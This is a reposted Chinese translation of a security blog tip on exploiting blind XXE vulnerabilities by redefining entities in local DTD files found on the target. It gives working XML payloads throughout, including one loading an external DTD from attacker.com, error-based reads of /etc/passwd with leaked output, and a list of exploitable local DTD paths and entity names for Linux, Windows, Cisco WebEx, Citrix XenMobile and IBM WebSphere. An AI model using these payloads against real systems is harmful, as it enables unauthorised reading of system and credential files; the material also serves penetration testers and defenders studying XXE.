转载

小Tip:使用本地DTD文件来利用XXE漏洞

小Tip:使用本地DTD文件来利用XXE漏洞

这一小技巧可以让你的XXE盲注输出任何你想要的东西!anything!

小Tip:使用本地DTD文件来利用XXE漏洞

如今XXE漏洞利用时会有什么问题呢?

想象你有一个XXE的漏洞环境,外部实体已经被支持了但是服务端的响应是空的。

在这种情况下你有两个选择: 基于报错的利用和out-of-band利用;

首先考虑一下报错的例子:

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Response 

java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

外部ext.dtd的内容是:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

看到没? 你在用外部的服务来作为payload进行漏洞的利用,但是如果在你和目标站点之间有防火墙呢,你还能干啥?啥也干不了!

但是如果我们仅把外部的DTD内容直接放在DOCTYPE内部呢?这种情况下总会抛出一些错误

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
]>
<message></message>

Response 

Internal Error: SAX Parser Error. Detail:
The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.

emmm,来自外部的DTD文件允许我们包含一个实体对象,但是在内部DTD中它是被禁止的。

我们可以利用内部DTD做什么

想要在内部DTD的子集中使用外部DTD的语法,可以爆破一下目标主机上的本地DTD文件,然后重新定义一些实体参数来引用,举个栗子

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

Response 

java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

sip-app_1_0.dtd的内容如下:

…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…

这个方法能成功是因为所有的XML实体没变,如果你用同一个变量定义了两个实体对象,仅第一个可以利用

我们如何找到本地DTD文件

没有什么比枚举文件和目录更简单的了;下面是我们在这个技巧上利用成功的一些例子:

Linux 系统

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows系统

<!ENTITY % local_dtd SYSTEM "file:///C:WindowsSystem32wbemxmlcim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

思科WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile服务器

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平台IBM WebSphere应用

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

时间线

01/01/2016 — 发现这个技巧

12/12/2018 — 写文章:D

13/12/2018 — 公布出来

16/12/2018 — 翻译

原文  https://www.anquanke.com/post/id/168012
正文到此结束
Loading...